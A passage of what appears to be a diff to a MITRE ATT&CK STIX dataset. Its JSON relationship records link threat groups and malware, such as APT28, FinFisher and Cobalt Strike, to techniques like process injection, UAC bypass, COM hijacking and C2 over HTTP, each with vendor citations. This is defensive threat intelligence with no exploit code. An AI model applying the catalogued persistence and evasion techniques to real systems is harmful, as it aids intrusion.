"relationship_type": "mitigates", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can leverage the Windows API call, CreateProcessA(), for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--304c0297-8d9e-41ee-a5c0-f8bd33bdcd2a", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. 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Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses COM hijacking as a method of persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--810f3029-bbb2-4630-8032-1e1d47824973", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. 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Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.513Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb", + "external_references": [ + { + "source_name": "FireEye Op RussianDoll", + "description": "FireEye Labs. (2015, April 18). Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia\u2019s APT28 in Highly-Targeted Attack. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html" + } + ], + "modified": "2019-07-27T00:09:36.110Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The net user username \\password and net user username \\password \\domain commands in [Net](https://attack.mitre.org/software/S0039) can be used to create a local or domain account respectively.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.519Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KARAE](https://attack.mitre.org/software/S0215) can collect system information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87406432-7190-4606-980b-441819713d1d", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used valid accounts for initial access and privilege escalation.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d3d44322-8902-4f56-8625-fb14557c0ca8", + "external_references": [ + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + }, + { + "source_name": "FireEye APT33 Guardrail", + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "modified": "2019-06-28T15:05:33.159Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) hides many of its backdoor payloads in an alternate data stream (ADS).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91f59958-db5f-429c-9608-a033ea68486b", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.339Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has injected code into trusted processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b083f3f-f8db-403d-b922-308b79d20cc7", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.809Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-30T18:05:32.934Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95842c88-c596-44c7-a16e-40d98e2457cc", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download additional files from C2 servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f73d53f-f543-47b6-ab81-9a2764dabaef", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.708Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some variants of [FakeM](https://attack.mitre.org/software/S0076) use RC4 to encrypt C2 traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b6bee9b-469e-48ce-84fa-5322de03470a", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a79ff150-e765-4303-9668-ff553d6000cd", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--054a22c3-f0ee-476a-b0cb-e3277c755032", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "modified": "2019-06-24T17:08:51.710Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) uses HTTP and HTTPS for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can migrate into another process using reflective DLL injection.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a0cbe7f-e88c-4ef6-8bf7-9f6e17e8de04", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.814Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) gathers the computer name and checks the OS version to ensure it doesn\u2019t run on a Windows XP or Windows Server 2003 systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfc92bbe-4a8b-47ec-b12d-d08fdcea1fbb", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Talos ROKRAT 2", + "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-26T22:56:58.319Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6cb293a0-aa2b-4919-b1ac-a801608aa4b5", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.403Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) is capable of executing commands and spawning a reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e27e75c2-5734-4602-8a32-c56bb50f890b", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After collecting documents from removable media, [Prikormka](https://attack.mitre.org/software/S0113) compresses the collected files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fada6223-ba24-4c26-aa89-3998f07604f9", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.303Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) executes payloads using the Windows API call CreateProcessW().", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ed458b0-e5cd-48c7-baba-a33ca84a8738", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) extracted documents and bundled them into a RAR archive.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.808Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dyre](https://attack.mitre.org/software/S0024) has a command to download and executes additional files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47cd42b3-1a19-415f-8522-a601268d8017", + "external_references": [ + { + "source_name": "Symantec Dyre June 2015", + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "modified": "2019-04-24T23:21:07.861Z", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key.", + "type": "relationship", + "created": "2017-05-31T21:33:27.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f954be4-205c-4cec-92f9-36715e204a49", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.844Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) injects itself into various processes depending on whether it is low integrity or high integrity.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d0ea359-36b3-46f8-818a-5aaff3de574a", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.222Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) recursively searches through directories for files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f7484ee2-6d98-4f5b-8788-2cf1675b349d", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "modified": "2019-06-24T19:07:12.564Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor services.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--935f8b6e-cd74-46c4-9a74-f763b4f13955", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c143634-89e1-47a0-9044-4ca39ccff76a", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-04-19T18:36:31.927Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:51:54.123Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9", + "external_references": [ + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) modifies the time of a file as specified by the control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26352538-769c-42c0-9e38-0338c5891432", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can execute a payload on a remote host with PowerShell. This technique does not write any data to disk.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. 